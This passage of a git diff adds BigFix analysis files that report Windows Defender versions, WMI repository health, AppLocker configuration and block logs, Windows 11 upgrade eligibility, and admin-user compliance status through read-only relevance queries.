+    <Property ID="7" Name="ReportUnknownsToMS?" EvaluationPeriod="P2D">/* http://technet.microsoft.com/en-us/library/bb418859.aspx */ (unique values of (it as string) of values &quot;SpyNetReporting&quot; of keys &quot;Spynet&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
+    <Property ID="8" Name="AntiMalware Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values whose(name of it = &quot;ASSignatureVersion&quot; OR name of it = &quot;AVSignatureVersion&quot;) of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="9" Name="AntiMalware Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;EngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="10" Name="NetIntrusion Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISEngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="11" Name="NetIntrusion Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISSignatureVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes b/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes
new file mode 100644
index 000000000..c031fee90
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/WMI - Windows (2998282).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WMI - Windows
+  ID       : 2998282
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:56:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WMI - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the state of WMI on the endpoint. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="WMI - Query Error - Windows" EvaluationPeriod="PT1H">not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Property>
+    <Property ID="5" Name="WMI - Backup Repository Exists - Windows" EvaluationPeriod="PT1H">exists folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
+    <Property ID="6" Name="WMI - Backup Repository Count - Windows" EvaluationPeriod="PT1H">number of folders whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Property>
+    <Property ID="7" Name="WMI - Repository is Large - Windows" EvaluationPeriod="P1D">(size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))) &gt; 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/</Property>
+    <Property ID="8" Name="WMI - Repository Size - Windows" EvaluationPeriod="P1D">size of file &quot;objects.data&quot; of (if (x64 of operating system) then (x64 folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)) else (folder (pathname of windows folder &amp; &quot;\system32\wbem\repository&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes
new file mode 100644
index 000000000..24559fc06
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Configuration - Windows (2998309).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Configuration - Windows
+  ID       : 2998309
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:04:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Configuration - Windows</Title>
+    <Description><![CDATA[Provides the current applocker configuration on the system.
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Applocker - AppX Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="2" Name="Applocker - DLL Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="3" Name="Applocker - EXE Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string | &quot;Disabled&quot;) </Property>
+    <Property ID="4" Name="Applocker - MSI Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="5" Name="Applocker - Script Enforcement Mode - Windows" EvaluationPeriod="P1D">(if (it = &quot;Disabled&quot;) then (&quot;Disabled&quot;) else (if (it = &quot;0&quot;) then &quot;Audit-only&quot; else &quot;Enforced&quot;)) of (value &quot;EnforcementMode&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string | &quot;Disabled&quot;)</Property>
+    <Property ID="6" Name="Applocker - AppX Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
+    <Property ID="7" Name="Applocker - DLL Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
+    <Property ID="8" Name="Applocker - Exe Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
+    <Property ID="9" Name="Applocker - Msi Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="10" Name="Applocker - Script Rules (raw) - Windows" EvaluationPeriod="P1D">(values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
+    <Property ID="11" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="12" Name="Applocker - DLL Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Dll&quot; of native registry as string)</Property>
+    <Property ID="13" Name="Applocker - Exe Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry as string)</Property>
+    <Property ID="14" Name="Applocker - Msi Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry as string)</Property>
+    <Property ID="15" Name="Applocker - Script Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry as string)</Property>
+    <Property ID="16" Name="Applocker - AppX Rules (formatted) - Windows" EvaluationPeriod="P1D">(node value of attribute &quot;Action&quot; of it, node value of attribute &quot;Name&quot; of it, node value of attribute &quot;UserOrGroupSid&quot; of it &amp; &quot; (&quot; &amp; ( account name of sid (node value of attribute &quot;UserOrGroupSid&quot; of it) | &quot;User not found&quot;) &amp; &quot;)&quot;, concatenations &quot;; &quot; of (node name of it &amp; &quot;: &quot; &amp; node value of it) of attributes of child nodes of xpaths &quot;Conditions&quot; of it) of xpaths &quot;/*&quot; of xml documents of (values &quot;value&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes
new file mode 100644
index 000000000..482c94194
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Logs - Windows (2998440).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Logs - Windows
+  ID       : 2998440
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:25:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Logs - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on blocked or audited launches looking at the last 500 event logs from Applocker.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="11" Name="Applocker - Executable and DLL Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8003) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8003 or event id of it = 8004) of event log &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot;</Property>
+    <Property ID="12" Name="Applocker - MSI and Script Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8006) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8006 or event id of it = 8007) of event log &quot;Microsoft-Windows-AppLocker/MSI and Script&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes
new file mode 100644
index 000000000..eaca9570f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Windows
+  ID       : 2998311
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:05:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Windows</Title>
+    <Description><![CDATA[Provides information on whether or not Applocker is enabled
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Applocker - Enabled - Windows" EvaluationPeriod="P1D">exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes b/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes
new file mode 100644
index 000000000..15d073cf5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes	
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows 11 Upgrade Eligibility Information
+  ID       : 2998656
+  Author   : marjan
+  Domain   : BESC
+  Imported : 2021-12-07T13:18:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows 11 Upgrade Eligibility Information</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD><FONT size=2>
+<P><BR>This analysis contains information about system requirements for upgrading computers from Windows 10 to Windows 11.</P>
+<P>This analysis applies to <STRONG>Windows 10 systems only.</STRONG></P>
+<P>System requirements:</P>
+<UL>
+<LI>1 gigahertz (GHz) or faster with 2 or more cores on a compatible 64-bit processor or System on a Chip (SoC).
+<LI>4 gigabytes (GB) of RAM
+<LI>64 GB or larger storage device
+<LI>UEFI, Secure Boot capable
+<LI>Trusted Platform Module (TPM) version 2.0
+<LI>Graphics Card compatible with DirectX 12 or later with WDDM 2.0 driver *
+<LI>High definition (720p) display that is greater than 9'' diagonally, 8 bits per color channel
+<LI>Internet Connectivity and Microsoft Account </LI></UL></FONT>
+<P><STRONG>Important Note:</STRONG> Graphics Card Check requires a <?relevance link of fixlets whose (task flag of it AND mime field "x-fixlet-win11-eligibility" of it = "probeTask" ) of current bes site ?> to evaluate. Please run this task on all of your Windows 10 devices.</P>
+<P>* We have observed in our testing that Windows 10 can be upgraded to 11 in virtual environments with WDDM 1.1 and 1.4 without any&nbsp;issues. </P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 28 Sep 2021 23:04:56 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-win11-eligibility</Name>
+      <Value>analysis</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Oct 2021 17:58:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="OS Architecture" EvaluationPeriod="P1D">(if (it = &quot;x86_64&quot;) then &quot;PASS&quot; else &quot;FAIL - OS Architecture: &quot; &amp; it) of (architecture of operating system)</Property>
+    <Property ID="2" Name="Processor Speed Check" EvaluationPeriod="P1D">(if (it &gt; 1000) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current processor speed in GHZ: &quot; &amp; (it as string)) of (significant digits 2 of (speed of main processor / mhz))</Property>
+    <Property ID="3" Name="Processor Core Count Check" EvaluationPeriod="P1D">(if (it &gt;= 2) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current core count: &quot; &amp; (it as string)) of (core of it * count of it) of cpupackage</Property>
+    <Property ID="4" Name="Memory Check" EvaluationPeriod="P1D">(if (it &gt;= 4096) then &quot;PASS&quot; else &quot;FAIL - Current memory in MB: &quot; &amp; (it as string)) of  (if (it &gt; 128) then ( ((it / 32) * 32) + (if (it mod 32 &gt; 16) then 32 else 0) ) else it) of (size of ram /1048576)</Property>
+    <Property ID="5" Name="Storage Check" EvaluationPeriod="P1D">(if (it) then &quot;PASS&quot; else &quot;FAIL - no 64GB fixed drive&quot;) of ( exists drive whose (type of it = &quot;DRIVE_FIXED&quot; and (total space of it/(1024*1024*1024)) &gt;=64 ))</Property>
+    <Property ID="6" Name="Video Card Memory Check" EvaluationPeriod="PT5M">(if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - Issues: &quot; &amp; concatenation &quot;,&quot; of elements of it ) of set of (  following texts whose (it does not contain &quot;12&quot; AND (it as integer &lt; 12 ) of first 2 of (it as trimmed string) of following text of first &quot;DirectX&quot; of it) of first &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;DirectX Version: &quot;) of it; following texts whose ( (it as trimmed string as version &lt; &quot;2.0&quot;) of following text of first &quot;WDDM&quot; of it) of firsts &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;Driver Model:&quot; and it contains &quot;WDDM&quot;) of it)of file &quot;win11-eligibility\dxdiag.txt&quot; of parent folder of client |&quot;probe not run&quot;</Property>
+    <Property ID="7" Name="TPM 2.0 Check" EvaluationPeriod="PT15M">(if number of elements of it = 0 then &quot;FAIL - TPM not visible in wmi&quot; else (if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - TPM issues: &quot; &amp; concatenation &quot;|&quot; of elements of it) of set of elements whose ((it contains &quot;_InitialValue&quot; AND not (it as boolean) of following text of first &quot;=&quot; of it) OR ((it as version &lt; &quot;2.0&quot;) of tuple string item 0 of following text of first &quot;SpecVersion=&quot; of it)) of it) of set of ((it as string) of selects &quot;IsActivated_InitialValue, IsEnabled_InitialValue, IsOwned_InitialValue, SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Property>
+    <Property ID="8" Name="UEFI State Check" EvaluationPeriod="PT15M">if (exists selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;PASS&quot; else &quot;FAIL - BIOS boot mode&quot;</Property>
+    <Property ID="9" Name="Secure Boot State Check" EvaluationPeriod="PT15M">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; whose (value &quot;UEFISecureBootEnabled&quot; of it = 1) of native registry then &quot;PASS&quot; else &quot;FAIL - Secure Boot Disabled&quot;</Property>
+    <Property ID="10" Name="OS Version Check" EvaluationPeriod="PT15M">(if (it &gt;=2004) then &quot;PASS&quot; else &quot;FAIL - Current Version: &quot; &amp; (it as string)) of (it as integer) of value &quot;ReleaseID&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes
new file mode 100644
index 000000000..2e1164ea3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes	
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Admin Users Compliance Status
+  ID       : 2998597
+  Author   : mxc0bbn
+  Domain   : BESC
+  Imported : 2018-09-17T21:29:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Admin Users Compliance Status</Title>
+    <Description><![CDATA[<P><STRONG><FONT color=#ff0000 size=4>Note: </FONT></STRONG></P>
+<P><FONT color=#ff0000 size=4><STRONG>1.&nbsp; If the task "</STRONG><EM><FONT size=5><STRONG><FONT color=#000000 size=3>Deploy ComplianceWhitelist File</FONT>" </STRONG></FONT><FONT size=3><STRONG>has not yet been run, the Status may show "<FONT color=#000000>No Compliance Whitelist on Endpoint</FONT>"<BR></STRONG></FONT></EM></FONT><FONT color=#ff0000 size=4><STRONG>2.&nbsp;&nbsp;</STRONG></FONT><FONT color=#ff0000><FONT size=4><STRONG>The file ComplianceWhitelist.txt should be created on the BES Server prior to running the above task<BR>3.&nbsp; If the names of the&nbsp;files in the "Deploy Compliance Whitelist File" task and the "Enforce Compliance" Fixlet have been changed, those changes should also be made in this analysis otherwise the analysis&nbsp;may show a status of "No Whitelist File on Endpoint"</STRONG></FONT></FONT></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>
+<P>Properties Description:</P>
+<P>
+<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
+<TBODY>
+<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=210>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Status</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></P></TD>
+<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=162>
+<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Unauthorized</SPAN></B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'><o:p></o:p></SPAN></FONT></P>
